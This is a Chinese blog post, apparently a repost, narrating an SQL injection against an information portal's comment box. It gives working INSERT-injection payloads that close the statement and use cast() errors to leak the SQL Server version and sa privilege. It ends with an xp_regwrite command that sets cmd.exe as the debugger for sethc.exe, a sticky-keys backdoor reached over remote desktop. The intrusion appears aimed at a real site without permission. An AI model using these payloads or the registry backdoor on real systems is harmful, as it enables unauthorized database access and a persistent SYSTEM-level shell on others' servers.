zoukankan      html  css  js  c++  java
  • 一次文本框Insert注入刺探(转)

    大家经常测试注入大多只看了get提交的链接,post方式提交的数据的可能同我一样懒得抓包去测试,或许勤奋一点的哥们也会试试cookies注入。今天遇见了一个post提交的文本框insert注入和一朋友提起,他也是了解有点少,于是我发现大家普遍对文本框这些地方进行的注入测试比较贫乏,我这里就简单的说一下关于这个insert注入。 目标站是一个子站比较多的信息港,找了半天主站没有发现注入点,注册一个账户找到了一个上传,可惜上传页面莫名其妙的报错。看了看子站,发现都和主站一样的cms,拿wwwscan扫了扫目录,扫了扫端口发现开了3389和80以及1433,spider爬了会,也没发现可利用的,服务器上再没别的站了。思路陷入僵局?c段?就在这时顺手在评论出提交了1’);--如图1。

    好样的,报错了。如图2

    \

    由此这应该是一个insert注入点。先看看关于insert语句语法。

    INSERT INTO 语句用于向表格中插入新的行,也可以指定所要插入数据的列。语法是 INSERT INTO 表名称 (列1, 列2,...) VALUES (值1, 值2,....)

    于是我们继续在文本框处输入闭合语句测试。当提交到

    1,null,null,null,null,null);--

    时,提交不再报错,提交成功了。我们来提交注入语句。

    1,cast(@@version as int),null,null,null,null);--

    如图3 返回信息

    \

    爆得数据库版本信息Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)。 我们再提交

    1,cast(system_user as int),null,null,null,null);--

    返回如图4得到权限为sa,

    \

    提交

    1,cast(@@servername+|+host_name() as int),null,null,null,null);--

    返回将 nvarchar 值 YOZI|YOZI 转换为数据类型为 int 的列时发生语法错误。说明站库没有分离。如图5

    收集这些信息差不多了。

    既然是sa权限就足够大了,这里提一种sa权限映像劫持的方法,用了mssql的xp_regwrite 扩展存储,我们提交如下

    1,null,null,null,null,null);exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindows NTCu rrentVersionImage File Execution Optionssethc.exe,debugger,REG_sz,c:windowssystem32c md.exe on;--

    提交以后返回正常,我们链接服务器3389,按5下shift,如图6

  • 相关阅读:
    jmeter-获取数据库中的数据
    jmeter常见报错汇总
    学习目录
    Spring+Spring Security+JSTL实现的表单登陆的例子
    Spring+Spring Security+Maven 实现的一个Hello World例子
    第六章:位置匹配
    第五章:重复匹配
    第四章:使用元字符
    第三章:匹配一组字符
    第二章:匹配单个字符
  • 原文地址:https://www.cnblogs.com/demonspider/p/2991174.html
Copyright © 2011-2022 走看看